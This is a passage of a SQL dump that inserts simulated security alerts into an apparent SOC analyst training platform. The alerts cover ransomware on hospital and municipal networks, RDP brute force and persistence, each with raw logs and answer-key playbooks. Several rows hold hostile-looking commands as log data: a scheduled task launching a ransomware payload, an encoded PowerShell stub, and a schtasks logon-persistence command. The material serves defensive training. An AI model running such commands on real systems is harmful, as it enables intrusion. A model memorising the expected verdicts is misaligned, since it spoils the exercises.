Created\\\",\\\"computer\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\ScheduledTasks\\\\\\\\PersistenceTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\ransomware_payload.exe\\\",\\\"task_author\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"192.168.1.5\\\",\\\"attacker_ip\\\":\\\"104.27.142.15\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"ransomware_payload.exe\\\",\\\"user_account\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_category\\\":\\\"Task Created\\\",\\\"computer\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\ScheduledTasks\\\\\\\\PersistenceTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\ransomware_payload.exe\\\",\\\"task_author\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"192.168.1.5\\\",\\\"attacker_ip\\\":\\\"104.27.142.15\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"ransomware_payload.exe\\\",\\\"user_account\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_category\\\":\\\"Task Created\\\",\\\"computer\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\ScheduledTasks\\\\\\\\PersistenceTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\ransomware_payload.exe\\\",\\\"task_author\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"192.168.1.5\\\",\\\"attacker_ip\\\":\\\"104.27.142.15\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"ransomware_payload.exe\\\",\\\"user_account\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_category\\\":\\\"Task Created\\\",\\\"computer\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\ScheduledTasks\\\\\\\\PersistenceTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\ransomware_payload.exe\\\",\\\"task_author\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"192.168.1.5\\\",\\\"attacker_ip\\\":\\\"104.27.142.15\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"ransomware_payload.exe\\\",\\\"user_account\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_category\\\":\\\"Task Created\\\",\\\"computer\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\ScheduledTasks\\\\\\\\PersistenceTask\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\ransomware_payload.exe\\\",\\\"task_author\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"192.168.1.5\\\",\\\"attacker_ip\\\":\\\"104.27.142.15\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"ransomware_payload.exe\\\",\\\"user_account\\\":\\\"admin_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(923, 'Lateral Movement Across NHS Networks', 'critical', 'Network Traffic Analysis', 'Detected lateral movement activity attempting to propagate ransomware across NHS networks. The activity was observed leveraging existing vulnerabilities to spread to additional hospital trusts.', 'Network Propagation', 'T1570', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T03:45:27Z\",\"event_id\":\"NW-849302\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.1.2.33\",\"external_ip\":\"203.0.113.45\",\"malware_filename\":\"ransomware_payload.exe\",\"hash\":\"f2b8e1182f3c4e4d7e5d1234567890ab\",\"protocol\":\"SMB\",\"user\":\"nhs_admin\",\"action\":\"propagation_attempt\",\"status\":\"failed\"}', '2026-01-15 01:03:39', '2026-02-16 17:54:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP used within the NHS network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.33\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP of another NHS system.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f2b8e1182f3c4e4d7e5d1234567890ab\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as ransomware payload linked to Lazarus Group activity.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Custom Threat Database\",\"verdict\":\"malicious\",\"details\":\"Filename associated with known ransomware campaigns.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"nhs_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate admin user account within NHS.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(924, 'Disrupting Hospital Operations - Step 5', 'critical', 'Hospital IT Incident Reports', 'Critical hospital operations, including surgeries, are canceled, triggering a healthcare crisis that underscores the attack\'s severity and the urgency of restoring systems. Advanced destructive malware attributed to the Lazarus Group has been detected within the hospital network, actively disrupting services.', 'Operational Disruption', 'T1486: Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"event_id\":\"evt-2023-10-15-0005\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.10.25\",\"malware_name\":\"WannaCry\",\"malware_hash\":\"09f7e02f1290be211da707a266f153b3\",\"affected_system\":\"hospital_surgery_scheduling_system\",\"user\":\"jdoe\",\"action\":\"encryption\",\"filename\":\"critical_schedule_data.enc\",\"severity\":\"critical\",\"log_message\":\"Detected encryption activity on hospital_surgery_scheduling_system by malware WannaCry from IP 203.0.113.45\"}', '2026-01-15 01:03:39', '2026-02-16 17:54:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group Command & Control Server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Scan\",\"verdict\":\"internal\",\"details\":\"Hospital Surgery Scheduling System\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"09f7e02f1290be211da707a266f153b3\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"WannaCry ransomware variant\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"critical_schedule_data.enc\",\"is_critical\":true,\"osint_result\":{\"source\":\"Incident Report\",\"verdict\":\"malicious\",\"details\":\"Encrypted hospital scheduling data\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.610Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":\\\"evt-2023-10-15-0005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"malware_hash\\\":\\\"09f7e02f1290be211da707a266f153b3\\\",\\\"affected_system\\\":\\\"hospital_surgery_scheduling_system\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"encryption\\\",\\\"filename\\\":\\\"critical_schedule_data.enc\\\",\\\"severity\\\":\\\"critical\\\",\\\"log_message\\\":\\\"Detected encryption activity on hospital_surgery_scheduling_system by malware WannaCry from IP 203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.610Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":\\\"evt-2023-10-15-0005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"malware_hash\\\":\\\"09f7e02f1290be211da707a266f153b3\\\",\\\"affected_system\\\":\\\"hospital_surgery_scheduling_system\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"encryption\\\",\\\"filename\\\":\\\"critical_schedule_data.enc\\\",\\\"severity\\\":\\\"critical\\\",\\\"log_message\\\":\\\"Detected encryption activity on hospital_surgery_scheduling_system by malware WannaCry from IP 203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.610Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":\\\"evt-2023-10-15-0005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"malware_hash\\\":\\\"09f7e02f1290be211da707a266f153b3\\\",\\\"affected_system\\\":\\\"hospital_surgery_scheduling_system\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"encryption\\\",\\\"filename\\\":\\\"critical_schedule_data.enc\\\",\\\"severity\\\":\\\"critical\\\",\\\"log_message\\\":\\\"Detected encryption activity on hospital_surgery_scheduling_system by malware WannaCry from IP 203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.610Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":\\\"evt-2023-10-15-0005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"malware_hash\\\":\\\"09f7e02f1290be211da707a266f153b3\\\",\\\"affected_system\\\":\\\"hospital_surgery_scheduling_system\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"encryption\\\",\\\"filename\\\":\\\"critical_schedule_data.enc\\\",\\\"severity\\\":\\\"critical\\\",\\\"log_message\\\":\\\"Detected encryption activity on hospital_surgery_scheduling_system by malware WannaCry from IP 203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.610Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":\\\"evt-2023-10-15-0005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"malware_hash\\\":\\\"09f7e02f1290be211da707a266f153b3\\\",\\\"affected_system\\\":\\\"hospital_surgery_scheduling_system\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"encryption\\\",\\\"filename\\\":\\\"critical_schedule_data.enc\\\",\\\"severity\\\":\\\"critical\\\",\\\"log_message\\\":\\\"Detected encryption activity on hospital_surgery_scheduling_system by malware WannaCry from IP 203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(925, 'Accidental Discovery of Kill-Switch Domain', 'critical', 'Threat Intelligence Reports', 'A security researcher accidentally discovered a kill-switch domain, halting the spread of a ransomware linked to the Lazarus Group. This discovery provided a temporary reprieve in the incident response against the ransomware attack, showcasing a pivotal learning moment in handling such incidents.', 'Incident Response', 'T1489: Service Stop', 1, 'resolved', NULL, '{\"event_id\":\"5678\",\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"203.0.113.55\",\"internal_ip\":\"192.168.1.10\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"kill_switch_domain\":\"killswitch.example.com\",\"user\":\"researcher01\",\"filename\":\"ransomware_payload.exe\"}', '2026-01-15 01:03:39', '2026-02-16 17:54:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a detected ransomware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"killswitch.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"suspicious\",\"details\":\"Domain recognized as a kill-switch for specific ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection System\",\"verdict\":\"malicious\",\"details\":\"Executable known to deploy ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.611Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"5678\\\",\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.55\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"kill_switch_domain\\\":\\\"killswitch.example.com\\\",\\\"user\\\":\\\"researcher01\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.611Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"5678\\\",\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.55\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"kill_switch_domain\\\":\\\"killswitch.example.com\\\",\\\"user\\\":\\\"researcher01\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.611Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"5678\\\",\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.55\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"kill_switch_domain\\\":\\\"killswitch.example.com\\\",\\\"user\\\":\\\"researcher01\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.611Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"5678\\\",\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.55\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"kill_switch_domain\\\":\\\"killswitch.example.com\\\",\\\"user\\\":\\\"researcher01\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.611Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"5678\\\",\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.55\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"kill_switch_domain\\\":\\\"killswitch.example.com\\\",\\\"user\\\":\\\"researcher01\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(926, 'Initial Access: RDP Brute-Force Detection', 'high', 'Firewall logs', 'Unauthorized attempts to gain access to the Atlanta municipal network were detected via brute-force attacks targeting RDP services. An external IP was observed making numerous login attempts within a short time frame.', 'Initial Access', 'T1110.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:27Z\",\"event_type\":\"RDP Brute-Force Attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"username_attempted\":\"administrator\",\"login_status\":\"failed\",\"attempt_count\":25,\"firewall_action\":\"blocked\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"RDPBruteForceTool.exe\"}', '2026-01-15 01:04:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with multiple brute-force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal RDP server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"clean\",\"details\":\"Commonly targeted username.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Associated with known brute-force tools.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"RDPBruteForceTool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Known brute-force attack tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(927, 'Execution: Malicious Payload Deployment', 'critical', 'Endpoint detection and response (EDR) systems', 'Following successful access, the attackers executed the ransomware to encrypt critical municipal data, escalating the attack. The ransomware payload was identified on the compromised systems, initiating encryption of sensitive files.', 'Execution', 'T1059.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_type\":\"execution\",\"hostname\":\"municipality-server-01\",\"username\":\"j.doe\",\"process_name\":\"ransomware.exe\",\"process_id\":2954,\"file_path\":\"C:\\\\Users\\\\j.doe\\\\Downloads\\\\ransomware.exe\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"internal_ip\":\"192.168.1.105\",\"external_ip\":\"203.0.113.45\",\"destination_port\":445,\"action\":\"file executed\",\"detected_by\":\"EDR\",\"malware_family\":\"Snake Ransomware\"}', '2026-01-15 01:04:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with ransomware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the Snake Ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with ransomware activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account that initiated the execution on the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(928, 'Persistence: Establishing Foothold', 'high', 'System logs', 'An unusual persistence mechanism was detected on a critical server. Analysis of the system logs revealed suspicious activity associated with maintaining unauthorized access. A known malicious IP communicated with an internal server, and a suspicious script was set to execute on startup, indicating efforts to establish a foothold.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:22Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"user\":\"malicious_user\",\"process\":\"schtasks.exe\",\"command_line\":\"schtasks /create /tn \\\"SystemUpdate\\\" /tr \\\"C:\\\\Windows\\\\System32\\\\malicious_script.ps1\\\" /sc onlogon\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious_script.ps1\"}', '2026-01-15 01:04:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File used in known persistence 